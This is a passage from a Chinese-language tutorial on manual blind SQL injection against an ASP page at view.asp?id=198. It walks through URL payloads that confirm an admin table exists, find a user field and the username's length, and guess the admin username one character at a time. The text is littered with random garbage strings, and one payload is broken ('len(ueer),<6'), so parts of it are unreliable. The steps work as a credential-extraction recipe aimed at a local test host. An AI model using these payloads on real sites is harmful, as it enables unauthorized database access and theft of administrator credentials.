9 O2 i; k- s* e" I0 e% B1 l- A(5)在得到表名后开始构造查询语句查询数据库字段名,想url提交如下语句: 8 S; E5 T8 S6 f8 v- i+ Ohttp://127.0.0.1/111/view.asp?id=198 and exists(select user from admin) 3 D: T$ {+ n; F' T5 _1 O3 Z3 J# N/ C& ]( J- U% y8 }: {+ ]$ u% h4 y
这个语句是向数据库中admin表中查询师傅存在user字段,存在的话返回正常页面,附则反之 * ?. P3 X+ N) Q" i! [3 ^3 S5 Z% `! O* w6 U
(6)接下来确定字段id值,语句:, l. T4 j' L' H http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where id=1) , L( n. f2 i; A+ ^4 O" J9 D / W6 I" Z5 S3 Y6 `! H% `* V3 q% _" J 0 f' ]) ]; w5 F0 d$ f. E1 i# [正确返回正常页面 不存在的话返回出错页面; F6 q9 a* D; A6 O8 ~
& |" y8 h+ T- r- d* t7 {6 Y& S1 U5 J) Y2 ^9 `8 P+ p
(7)在表名和字段名猜测出来以后,我们开始向url提交查询语句 猜测管理员账号的长度 0 A" }( z( B0 z& C% Shttp://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(ueer),<6 and id=1)7 T- O* d1 K9 n) T
( m+ X3 j8 ^9 J
这个语句是查询user字段中用户名长度的范围,表示长度小于6 同样的正确返回正常页面,错误的话返回出错页面, q6 v. R$ o' C
缩小范围,然后构造下面的语句确定用户名的具体长度:9 V# L% N8 H; d w7 ]1 V, z% T http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1) 6 v( V' g v; q% [9 W0 y 0 f2 B, S' I5 B. B: R5 `' P( W: f这里也是正确返回正常页面 错误返回出错页面" E. }, y, R* z3 @1 L! @( S1 \0 w8 H
' U( \ o7 t! h+ a, R" j5 _
(8)最后我们开始进入最后的环节查询管理员用户名,像url提交构造的查询语句:8 _1 s$ U8 p0 H# h5 I# P3 A5 x http://127.0.0.1/111/view.asp?id=198 and exists(select count(*)from admin where left(user,1)='a')2 } x: e- b* c
& m7 u. W/ a. ^( D这个语句是从用户名左边开始猜测用户名第一位为a,正确就会返回正常页面,错误返回出错页面,一位一位的猜,到第二位的时候修改语句为(user,2)='ad' 后面依次类推。 + K+ [+ z* g+ }* H' e# h( ?' G% @* B1 ~) k; z
这样当我们得到了用户名密码以后,此次的注入也就接近尾声了!!!!!1 \2 v" F/ s5 A+ C" m/ S